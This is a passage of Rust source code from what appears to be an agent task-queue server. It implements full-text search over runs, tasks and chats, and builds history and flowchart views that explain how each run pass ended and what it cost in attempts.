4364        .collect();
4365    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4366        let mut best: Option<(usize, usize)> = None;
4367        for n in needles.iter().filter(|n| !n.is_empty()) {
4368            // `to` bounds where a match may start; it may run past `to` (the
4369            // caller clips what it shows). A term longer than the field cannot
4370            // occur in it (it may live in another leaf of the document).
4371            if n.len() > chars.len() || to == 0 {
4372                continue;
4373            }
4374            let last = (to - 1).min(chars.len() - n.len());
4375            if from > last {
4376                continue;
4377            }
4378            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4379                && best.is_none_or(|(b, _)| i < b)
4380            {
4381                best = Some((i, i + n.len()));
4382            }
4383        }
4384        best
4385    };
4386    let Some((start, _)) = find(0, chars.len()) else {
4387        // Matched only through a case mapping that changes length: show the head.
4388        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4389        return vec![SnippetPart {
4390            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4391            hit: false,
4392        }];
4393    };
4394    let lo = start.saturating_sub(SNIPPET_BEFORE);
4395    let hi = (start + SNIPPET_AFTER).min(chars.len());
4396    let mut parts: Vec<SnippetPart> = Vec::new();
4397    let mut push = |s: &[char], hit: bool| {
4398        if s.is_empty() {
4399            return;
4400        }
4401        let text: String = s.iter().collect();
4402        match parts.last_mut() {
4403            Some(p) if p.hit == hit => p.text.push_str(&text),
4404            _ => parts.push(SnippetPart { text, hit }),
4405        }
4406    };
4407    if lo > 0 {
4408        push(&['\u{2026}'], false);
4409    }
4410    let mut at = lo;
4411    while at < hi {
4412        match find(at, hi) {
4413            Some((s, e)) => {
4414                push(&chars[at..s], false);
4415                // A match running past the window is shown up to its edge.
4416                let shown = e.min(hi);
4417                push(&chars[s..shown], true);
4418                at = shown;
4419            }
4420            None => {
4421                push(&chars[at..hi], false);
4422                at = hi;
4423            }
4424        }
4425    }
4426    if hi < chars.len() {
4427        push(&['\u{2026}'], false);
4428    }
4429    // Collapse whitespace (newlines in an instruction) without disturbing the
4430    // hit boundaries.
4431    let mut prev_space = false;
4432    for p in &mut parts {
4433        let mut out = String::with_capacity(p.text.len());
4434        for c in p.text.chars() {
4435            if c.is_whitespace() {
4436                if !prev_space {
4437                    out.push(' ');
4438                }
4439                prev_space = true;
4440            } else {
4441                out.push(c);
4442                prev_space = false;
4443            }
4444        }
4445        p.text = out;
4446    }
4447    parts.retain(|p| !p.text.is_empty());
4448    parts
4449}
4450
4451/// The search over `docs` (id, document), newest first, capped.
4452fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4453where
4454    I: IntoIterator<Item = (String, serde_json::Value)>,
4455{
4456    for (id, doc) in docs {
4457        let mut leaves = Vec::new();
4458        // The id is text an operator types too, and it is a map key on disk,
4459        // not a leaf.
4460        leaves.push(("id", id.as_str()));
4461        text_leaves(&doc, "", &mut leaves);
4462        if let Some(mut hit) = search_document(terms, &leaves) {
4463            view.total += 1;
4464            if view.hits.len() < SEARCH_MAX_HITS {
4465                hit.id = id;
4466                view.hits.push(hit);
4467            }
4468        }
4469    }
4470    view.truncated = view.total > view.hits.len();
4471}
4472
4473/// What a conversation is searched by: its list title and each turn's text,
4474/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4475/// (session ids, repo paths, usage, drafts) is part of the document.
4476///
4477/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4478/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4479fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4480    let opener = talk
4481        .turns
4482        .iter()
4483        .find(|t| t.who == crate::talk::Who::Operator)
4484        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4485        .unwrap_or("");
4486    let title: String = if opener.chars().count() > 96 {
4487        opener.chars().take(95).chain(['\u{2026}']).collect()
4488    } else {
4489        opener.to_owned()
4490    };
4491    let turns: Vec<serde_json::Value> = talk
4492        .turns
4493        .iter()
4494        .map(|t| {
4495            let who = match t.who {
4496                crate::talk::Who::Operator => "operator",
4497                crate::talk::Who::Agent => "agent",
4498            };
4499            serde_json::json!({ who: t.body })
4500        })
4501        .collect();
4502    serde_json::json!({ "title": title, "turns": turns })
4503}
4504
4505/// Read-only full-text search over every run's `run.json`, every task or every
4506/// conversation (title and transcript).
4507///
4508/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4509/// record from an older schema still searches; only a file that is not JSON
4510/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4511async fn search_get(
4512    State(ui): State<Arc<Ui>>,
4513    Query(q): Query<SearchQuery>,
4514) -> ApiResult<Json<SearchView>> {
4515    let query = q.q.trim().to_owned();
4516    if query.is_empty() {
4517        return Err(ApiError::bad_request("q must not be empty"));
4518    }
4519    if query.chars().count() > SEARCH_MAX_QUERY {
4520        return Err(ApiError::bad_request(format!(
4521            "q is longer than {SEARCH_MAX_QUERY} characters"
4522        )));
4523    }
4524    let terms = search_terms(&query);
4525    if terms.len() > SEARCH_MAX_TERMS {
4526        return Err(ApiError::bad_request(format!(
4527            "q has more than {SEARCH_MAX_TERMS} terms"
4528        )));
4529    }
4530    let scope = q.scope;
4531    if scope != "runs" && scope != "tasks" && scope != "chats" {
4532        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4533    }
4534    blocking(move || {
4535        let mut view = SearchView {
4536            scope: scope.clone(),
4537            q: query,
4538            hits: Vec::new(),
4539            total: 0,
4540            truncated: false,
4541            unreadable: 0,
4542        };
4543        if scope == "runs" {
4544            let mut unreadable = 0;
4545            // One run.json is read, matched and dropped at a time; nothing
4546            // holds the whole history. The scan runs to the end even past the
4547            // hit cap so `total` and `unreadable` stay exact.
4548            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4549                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4550                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4551                    Some(v) => Some((id, v)),
4552                    None => {
4553                        unreadable += 1;
4554                        None
4555                    }
4556                }
4557            });
4558            search_docs(&terms, docs, &mut view);
4559            view.unreadable = unreadable;
4560            // Only the capped hits get a row: the filters need a run's state,
4561            // and reading every match would be the whole history again.
4562            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4563            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4564            for hit in &mut view.hits {
4565                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4566                    hit.run = summarize(
4567                        [state],
4568                        &open_runs,
4569                        &claimed,
4570                        &superseded,
4571                        |p| probe.borrow_mut().status(p),
4572                        |p| probe.borrow_mut().started_at(p),
4573                    )
4574                    .pop();
4575                }
4576            }
4577        } else if scope == "chats" {
4578            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4579            view.unreadable = unreadable;
4580            search_docs(
4581                &terms,
4582                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4583                &mut view,
4584            );
4585        } else {
4586            let docs = ui.queue.list().into_iter().filter_map(|t| {
4587                let mut v = serde_json::to_value(&t).ok()?;
4588                // `source` serialises as a tagged object; the label is what
4589                // the operator reads ("human", "chat@a1b2").
4590                if let Some(o) = v.as_object_mut() {
4591                    o.insert("filed_by".to_owned(), t.source.label().into());
4592                }
4593                Some((t.id, v))
4594            });
4595            search_docs(&terms, docs, &mut view);
4596        }
4597        Ok(Json(view))
4598    })
4599    .await
4600}
4601
4602/// One attempt in a task's history, as the task page lists it.
4603#[derive(Debug, Serialize)]
4604struct TaskRunView {
4605    /// 1-based position in [`Task::runs`].
4606    n: usize,
4607    id: String,
4608    short: String,
4609    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4610    kind: &'static str,
4611    /// The run's own status string; `None` when its record cannot be read.
4612    status: Option<&'static str>,
4613    /// Whether this build could read the run's record. Counted, never hidden.
4614    readable: bool,
4615    /// A verdict from a collapsed panel is provisional, never a decision.
4616    provisional: bool,
4617    /// What kind of attempt this was, in one line.
4618    description: String,
4619    /// How it ended and why the task moved on (or what it is doing now).
4620    outcome: String,
4621    created_at: Option<Timestamp>,
4622    pr: Option<String>,
4623    /// Why this pass ended, classified once; the flowchart is built from it.
4624    exit: RunExit,
4625    /// What the pass did to the task's attempt budget.
4626    attempt: AttemptCost,
4627    /// Edge wording for leaving this entry; names the recorded cause when
4628    /// there is one.
4629    exit_label: String,
4630    /// The position of a later entry for the same run: this entry is an
4631    /// earlier pass of it.
4632    later_pass: Option<usize>,
4633    /// Which pass over the run this entry is (1-based) and how many entries
4634    /// the task lists for the run. Counted from the list, so known even for
4635    /// a legacy record.
4636    pass_n: usize,
4637    passes_of_run: usize,
4638    /// What the run recorded about this pass; `None` for a record from before
4639    /// passes were kept, whose cause stays unknown.
4640    pass: Option<PassView>,
4641    /// The branch a review-only run reopened.
4642    branch: Option<String>,
4643    /// The badge word when it differs from `status` (`stale` / `superseded`);
4644    /// filled by the task route, which can see liveness and later attempts.
4645    badge: Option<String>,
4646}
4647
4648/// One recorded pass over a run, for the wire.
4649#[derive(Debug, Clone, PartialEq, Serialize)]
4650struct PassView {
4651    index: usize,
4652    resumed: bool,
4653    started_at: Timestamp,
4654    ended_at: Option<Timestamp>,
4655    /// `open`, `parked` or `unrecorded`.
4656    end: &'static str,
4657    cause: Option<crate::run::ParkCause>,
4658    /// One line: why it stopped, or that nobody recorded why.
4659    label: String,
4660    /// What the task recorded for this pass; `None` when it was not settled
4661    /// (or settled by a build that kept no record).
4662    cost: Option<crate::queue::PassCost>,
4663}
4664
4665impl PassView {
4666    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4667        use crate::run::PassEnd;
4668        let (end, cause, label) = match &p.end {
4669            None => ("open", None, "still open".to_owned()),
4670            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4671            Some(PassEnd::Unrecorded) => (
4672                "unrecorded",
4673                None,
4674                "stopped without recording why (a crash, a kill or a restart; not known)"
4675                    .to_owned(),
4676            ),
4677        };
4678        Self {
4679            index: p.index,
4680            resumed: p.resumed,
4681            started_at: p.started_at,
4682            ended_at: p.ended_at,
4683            end,
4684            cause,
4685            label,
4686            cost: settled.map(|t| t.cost),
4687        }
4688    }
4689}
4690
4691/// How one pass over a run ended, as far as the task's life is concerned.
4692#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4693#[serde(rename_all = "snake_case")]
4694enum RunExit {
4695    Unreadable,
4696    /// An earlier pass of a run id that appears again: it stopped short.
4697    Interrupted,
4698    Parked,
4699    QuotaStall,
4700    /// Stalled on a resumed pass with quota losses on record: they may be
4701    /// left over from an earlier pass, so whether this one was refunded is
4702    /// not knowable.
4703    ResumedQuotaStall,
4704    Merged,
4705    Ready,
4706    Superseded,
4707    /// The change was already on the base under other commits: the task
4708    /// finished without this run landing anything.
4709    AlreadyInBase,
4710    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4711    Stalled,
4712    /// Blocked / no-op with a pull request left open: held for a person.
4713    HeldWithPr,
4714    NoopHeld,
4715    /// Blocked or failed: the attempt is spent and the task retries or holds.
4716    Spent,
4717    InProgress,
4718}
4719
4720#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4721#[serde(rename_all = "snake_case")]
4722enum AttemptCost {
4723    Spent,
4724    Refunded,
4725    None,
4726    /// Cannot be told from the records that remain.
4727    Unknown,
4728}
4729
4730impl RunExit {
4731    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4732        let Some(s) = s else {
4733            return Self::Unreadable;
4734        };
4735        let status = s.status;
4736        if resumed_later {
4737            Self::Interrupted
4738        } else if s.parked {
4739            Self::Parked
4740        } else if !status.done() {
4741            Self::InProgress
4742        } else if matches!(status, RunStatus::Merged) {
4743            Self::Merged
4744        } else if matches!(status, RunStatus::Ready) {
4745            Self::Ready
4746        } else if matches!(status, RunStatus::Superseded) {
4747            Self::Superseded
4748        } else if matches!(status, RunStatus::AlreadyInBase) {
4749            Self::AlreadyInBase
4750        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4751            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4752        {
4753            if resumed {
4754                Self::ResumedQuotaStall
4755            } else {
4756                Self::QuotaStall
4757            }
4758        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4759            Self::HeldWithPr
4760        } else if matches!(status, RunStatus::VerifiedNoop) {
4761            Self::NoopHeld
4762        } else if matches!(status, RunStatus::Stalled) {
4763            Self::Stalled
4764        } else {
4765            Self::Spent
4766        }
4767    }
4768
4769    fn cost(self) -> AttemptCost {
4770        match self {
4771            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4772            Self::Merged
4773            | Self::Ready
4774            | Self::Stalled
4775            | Self::HeldWithPr
4776            | Self::NoopHeld
4777            | Self::Spent => AttemptCost::Spent,
4778            Self::InProgress => AttemptCost::None,
4779            Self::AlreadyInBase => AttemptCost::Refunded,
4780            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4781                AttemptCost::Unknown
4782            }
4783        }
4784    }
4785
4786    /// Short edge wording for leaving a run this way.
4787    fn edge_label(self, status: Option<&str>) -> String {
4788        match self {
4789            Self::Unreadable => "record unreadable".to_owned(),
4790            Self::Interrupted => "interrupted before the run finished".to_owned(),
4791            Self::Parked => "parked, attempt refunded".to_owned(),
4792            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4793            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4794            Self::Merged => "merged".to_owned(),
4795            Self::Ready => "ready, not merged".to_owned(),
4796            Self::Superseded => "superseded by a later attempt".to_owned(),
4797            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4798            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4799            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4800            Self::NoopHeld => "verified no-op".to_owned(),
4801            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4802            Self::InProgress => "in progress".to_owned(),
4803        }
4804    }
4805
4806    /// Does a task in `end` follow from a run that ended this way? When not,
4807    /// somebody closed or held the task by hand.
4808    fn explains(self, end: TaskStatus) -> bool {
4809        match self {
4810            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4811            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4812            Self::Unreadable | Self::Superseded | Self::Ready => true,
4813            _ => end != TaskStatus::Done,
4814        }
4815    }
4816}
4817
4818/// `GET /api/queue/{id}` - one task with every attempt it went through.
4819#[derive(Debug, Serialize)]
4820struct TaskDetailView {
4821    #[serde(flatten)]
4822    task: TaskView,
4823    /// Task override, or the default daemon budget when inherited.
4824    /// A separate loop's command-line limit is not visible from here.
4825    max_attempts: usize,
4826    history: Vec<TaskRunView>,
4827    /// Entries in `history`: passes over runs, not distinct runs and not
4828    /// attempts consumed (`task.attempts`).
4829    passes_total: usize,
4830    /// Distinct runs those passes belong to.
4831    runs_distinct: usize,
4832    flow: FlowView,
4833    /// Set for a follow-up task; see [`followup_origin`].
4834    followup_origin: Option<FollowUpOrigin>,
4835    /// How many entries of `history` could not be read.
4836    runs_unreadable: usize,
4837    /// Why the attempt count can be lower than the number of runs.
4838    attempts_note: &'static str,
4839}
4840
4841const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4842and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4843on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4844the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4845
4846/// The branch a review-only run reopened, read off the instruction
4847/// `Runner::open_review` writes.
4848fn review_branch_of(instruction: &str) -> Option<&str> {
4849    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4850    rest.split('`').next().filter(|b| !b.is_empty())
4851}
4852
4853/// Where an entry sits in a task's run list.
4854#[derive(Default)]
4855struct RunSlot<'a> {
4856    /// 1-based position.
4857    n: usize,
4858    /// The same run id appeared earlier: this pass resumed it.
4859    resumed: bool,
4860    /// Position of a later pass over the same run id, if any.
4861    resumed_later: Option<usize>,
4862    /// The previous distinct run and how it ended, for the retry note.
4863    prior: Option<(&'a str, RunStatus)>,
4864    last: bool,
4865    /// This pass as the run recorded it, when it did.
4866    pass: Option<&'a crate::run::RunPass>,
4867    /// What the task recorded when it settled this pass.
4868    settled: Option<&'a crate::queue::TaskPass>,
4869    /// 1-based position among the task's entries for this run, and their count.
4870    pass_n: usize,
4871    passes_of_run: usize,
4872}
4873
4874/// Describe one entry of a task's run list. Pure: everything it needs is on
4875/// the run and the task, so it is asserted without a server.
4876fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4877    let RunSlot {
4878        n,
4879        resumed,
4880        resumed_later,
4881        prior,
4882        last,
4883        pass,
4884        settled,
4885        pass_n,
4886        passes_of_run,
4887    } = at;
4888    let short = run::short_of(id).to_owned();
4889    let Some(s) = state else {
4890        return TaskRunView {
4891            n,
4892            id: id.to_owned(),
4893            short,
4894            kind: "unknown",
4895            status: None,
4896            readable: false,
4897            provisional: false,
4898            description:
4899                "This run's record could not be read by this build (written by a different \
4900                          magi, or removed), so what kind of attempt it was is unknown."
4901                    .to_owned(),
4902            outcome: String::new(),
4903            created_at: None,
4904            pr: None,
4905            exit: RunExit::Unreadable,
4906            attempt: AttemptCost::Unknown,
4907            exit_label: RunExit::Unreadable.edge_label(None),
4908            later_pass: resumed_later,
4909            pass_n,
4910            passes_of_run,
4911            pass: None,
4912            branch: None,
4913            badge: None,
4914        };
4915    };
4916    let branch = review_branch_of(&s.instruction);
4917    let kind = if resumed {
4918        "resume"
4919    } else if branch.is_some() {
4920        "review"
4921    } else if task.solo || s.candidates.len() == 1 {
4922        "solo"
4923    } else {
4924        "competition"
4925    };
4926    let mut description = match kind {
4927        "resume" => {
4928            format!("Resumed run {short}: the same run carried on instead of competing again.")
4929        }
4930        "review" => format!(
4931            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4932            branch.unwrap_or_default()
4933        ),
4934        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4935        _ => format!(
4936            "Competition: {} candidates judged blind.",
4937            s.candidates.len().max(1)
4938        ),
4939    };
4940    if !resumed && let Some((p, st)) = prior {
4941        description.push_str(&format!(
4942            " A retry: run {p} before it ended {}.",
4943            st.display_label()
4944        ));
4945    }
4946
4947    let status = s.status;
4948    let provisional = matches!(status, RunStatus::Stalled)
4949        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4950    let head = if resumed_later.is_some() {
4951        String::new()
4952    } else {
4953        match status {
4954            RunStatus::Merged => "Merged.".to_owned(),
4955            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4956            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4957            RunStatus::AlreadyInBase => {
4958                "Already in the base: this change landed under other commits, nothing was left to land."
4959                    .to_owned()
4960            }
4961            RunStatus::Stalled => {
4962                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4963                    .to_owned()
4964            }
4965            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4966            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4967            RunStatus::VerifiedNoop => {
4968                "Verified no-op: the candidates found nothing to change.".to_owned()
4969            }
4970            other if other.done() => format!("Ended {}.", other.display_label()),
4971            other => format!("In progress ({}).", other.display_label()),
4972        }
4973    };
4974    let view = pass.map(|p| PassView::of(p, settled));
4975    let recorded_end = view
4976        .as_ref()
4977        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4978    let cost_words = match view.as_ref().and_then(|v| v.cost) {
4979        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4980        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4981        None => "whether its attempt was handed back was not recorded",
4982    };
4983    let pass_note = if passes_of_run > 1 {
4984        format!(
4985            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4986        )
4987    } else {
4988        String::new()
4989    };
4990    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4991        // The run recorded this pass's end when it happened.
4992        let cause = match v.end {
4993            "parked" => format!("It was stopped on purpose: {}.", v.label),
4994            _ => format!("It {}.", v.label),
4995        };
4996        format!(
4997            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4998            capitalise(cost_words)
4999        )
5000    } else if let Some(k) = resumed_later {
5001        // A run is only picked up again while it is unfinished, so an earlier
5002        // pass of a repeated id stopped short; the record keeps only the run's
5003        // latest status, which is left to the pass that carried it on.
5004        // Only the latest state is recorded: `parked` is cleared on resume
5005        // and `quota` accumulates across passes, so neither says why *this*
5006        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5007        let cause = if s.quota.is_empty() {
5008            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5009        } else {
5010            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5011        };
5012        format!(
5013            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5014        )
5015    } else if s.parked {
5016        match recorded_end.and_then(|v| v.cause.as_ref()) {
5017            Some(cause) => format!(
5018                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5019                cause.label(),
5020                cost_words
5021            ),
5022            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5023                .to_owned(),
5024        }
5025    } else if !status.done()
5026        || matches!(
5027            status,
5028            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5029        )
5030    {
5031        String::new()
5032    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5033        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5034    {
5035        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5036            .to_owned()
5037    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5038        " It left a pull request open, so the task was held for a person rather than retried."
5039            .to_owned()
5040    } else if matches!(status, RunStatus::VerifiedNoop) {
5041        " Held for a person to check the claim.".to_owned()
5042    } else if last {
5043        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5044    } else {
5045        " It spent an attempt, and the task moved on to the next run.".to_owned()
5046    };
5047    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5048    let mut attempt = exit.cost();
5049    let mut exit_label = None;
5050    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5051        let spent = match v.cost {
5052            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5053            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5054            None if resumed_later.is_some() => ", refund not recorded",
5055            None => ", attempt refunded",
5056        };
5057        attempt = match v.cost {
5058            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5059            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5060            None if resumed_later.is_some() => AttemptCost::Unknown,
5061            None => attempt,
5062        };
5063        if v.end == "parked" {
5064            exit = RunExit::Parked;
5065            exit_label = Some(match v.cause.as_ref() {
5066                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5067                    format!("parked for {}{spent}", c.label())
5068                }
5069                Some(c) => format!("parked ({}){spent}", c.label()),
5070                None => format!("parked{spent}"),
5071            });
5072        } else {
5073            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5074        }
5075    }
5076    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5077    TaskRunView {
5078        n,
5079        id: id.to_owned(),
5080        short,
5081        kind,
5082        status: Some(status.as_str()),
5083        readable: true,
5084        provisional,
5085        description,
5086        outcome: format!("{head}{why}"),
5087        created_at: Some(s.created_at),
5088        pr: s.pr.as_ref().map(|p| p.url.clone()),
5089        exit,
5090        attempt,
5091        exit_label,
5092        later_pass: resumed_later,
5093        pass_n,
5094        passes_of_run,
5095        pass: view,
5096        branch: branch.map(str::to_owned),
5097        badge: None,
5098    }
5099}
5100
5101fn capitalise(s: &str) -> String {
5102    let mut c = s.chars();
5103    c.next().map_or_else(String::new, |f| {
5104        f.to_uppercase().collect::<String>() + c.as_str()
5105    })
5106}
5107
5108/// One box of the task's flowchart.
5109#[derive(Debug, Serialize, PartialEq)]
5110struct FlowNode {
5111    /// Unique by position: a resumed run id appears once per pass.
5112    key: String,
5113    /// `chat`, `followup`, `start`, `run` or `end`.
5114    kind: &'static str,
5115    label: String,
5116    /// Run status (or the task's, for `end`); `None` when it is not a fact
5117    /// about this box (unreadable, or a pass the run later resumed from).
5118    status: Option<&'static str>,
5119    /// Whose status `status` is, so the client picks the right colour table:
5120    /// `task` (the `followup` parent and `end`) or `run`.
5121    status_of: &'static str,
5122    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5123    note: Option<&'static str>,
5124    run_kind: Option<&'static str>,
5125    detail: Option<String>,
5126    /// A readable run with a real verdict; a stall never is.
5127    decided: bool,
5128    readable: bool,
5129    href: Option<String>,
5130    /// Overrides `status` as the badge word (`stale` / `superseded`).
5131    badge: Option<String>,
5132    /// Start of this entry, never the run's latest update or pass settlement.
5133    started_at: Option<Timestamp>,
5134    /// Context links (chat / follow-up) do not represent execution entries.
5135    time_expected: bool,
5136}
5137
5138#[derive(Debug, Serialize, PartialEq)]
5139struct FlowEdge {
5140    from: String,
5141    to: String,
5142    label: String,
5143    attempt: AttemptCost,
5144}
5145
5146#[derive(Debug, Serialize, PartialEq)]
5147struct FlowView {
5148    nodes: Vec<FlowNode>,
5149    edges: Vec<FlowEdge>,
5150    /// Attempts the task has counted since it was last released.
5151    attempts: usize,
5152    max_attempts: usize,
5153    /// Entries in the run list (passes), and how many distinct runs they are.
5154    /// Neither is the number of attempts consumed.
5155    passes: usize,
5156    runs: usize,
5157}
5158
5159/// Turn a task and its described runs into the flowchart's boxes and arrows.
5160/// Pure: the page only draws what this returns.
5161///
5162/// A follow-up opens with its parent (or the merged run) unless the task's
5163/// *source* is itself a chat, in which case the chat stays first and the
5164/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5165/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5166/// two normally do not coincide and the nearer origin wins.
5167fn task_flow(
5168    task: &Task,
5169    history: &[TaskRunView],
5170    max_attempts: usize,
5171    origin: Option<&FollowUpOrigin>,
5172) -> FlowView {
5173    let max_attempts = task.effective_attempt_limit(max_attempts);
5174    let node = |key: &str, kind, label: String| FlowNode {
5175        key: key.to_owned(),
5176        kind,
5177        label,
5178        status: None,
5179        status_of: "run",
5180        note: None,
5181        run_kind: None,
5182        detail: None,
5183        decided: false,
5184        readable: true,
5185        href: None,
5186        badge: None,
5187        started_at: None,
5188        time_expected: matches!(kind, "start" | "run" | "end"),
5189    };
5190    let mut nodes = Vec::new();
5191    let mut edges: Vec<FlowEdge> = Vec::new();
5192    // A task queued from a chat opens the flow with that conversation.
5193    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5194        let mut n = node(
5195            "chat",
5196            "chat",
5197            format!("Chat {}", crate::queue::short(&link.id)),
5198        );
5199        n.href = Some(link.href);
5200        nodes.push(n);
5201        edges.push(FlowEdge {
5202            from: "chat".to_owned(),
5203            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5204            label: "queued from chat".to_owned(),
5205            attempt: AttemptCost::None,
5206        });
5207    }
5208    if let Some(o) = origin {
5209        let mut n = match &o.parent {
5210            Some(p) => {
5211                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5212                n.status = Some(p.status);
5213                n.status_of = "task";
5214                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5215                n.href = Some(p.href.clone());
5216                n
5217            }
5218            None => {
5219                let mut n = node(
5220                    "origin",
5221                    "followup",
5222                    format!("Follow-up of run {}", o.run.short),
5223                );
5224                n.detail = Some("merged run".to_owned());
5225                n.status = o.run.status;
5226                n.href = o.run.href.clone();
5227                if o.run.href.is_none() {
5228                    n.readable = false;
5229                    n.note = Some("unreadable");
5230                }
5231                n
5232            }
5233        };
5234        n.decided = true;
5235        let from = n.key.clone();
5236        nodes.push(n);
5237        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5238        let more = o.findings.len().saturating_sub(shown.len());
5239        let label = match (shown.is_empty(), more) {
5240            (true, _) => "open findings".to_owned(),
5241            (false, 0) => format!("open findings {}", shown.join(", ")),
5242            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5243        };
5244        edges.push(FlowEdge {
5245            from,
5246            to: "start".to_owned(),
5247            label,
5248            attempt: AttemptCost::None,
5249        });
5250    }
5251    let mut start = node("start", "start", "Task queued".to_owned());
5252    start.started_at = Some(task.created_at);
5253    nodes.push(start);
5254    let mut prev = "start".to_owned();
5255    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5256    for (i, h) in history.iter().enumerate() {
5257        let key = format!("run-{}", h.n);
5258        let mut n = node(&key, "run", format!("Run {}", h.short));
5259        // Creation marks only the first pass of legacy runs. A resumed pass
5260        // without a record must not inherit the original run's start time.
5261        n.started_at = h
5262            .readable
5263            .then(|| {
5264                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5265                    h.created_at
5266                } else {
5267                    None
5268                })
5269            })
5270            .flatten();
5271        n.run_kind = Some(h.kind);
5272        n.readable = h.readable;
5273        n.href = Some(format!("#/runs/{}", h.id));
5274        n.decided = h.readable && !h.provisional;
5275        n.detail = h
5276            .branch
5277            .as_ref()
5278            .map(|b| format!("review-only run of branch {b}"));
5279        match h.exit {
5280            RunExit::Unreadable => n.note = Some("unreadable"),
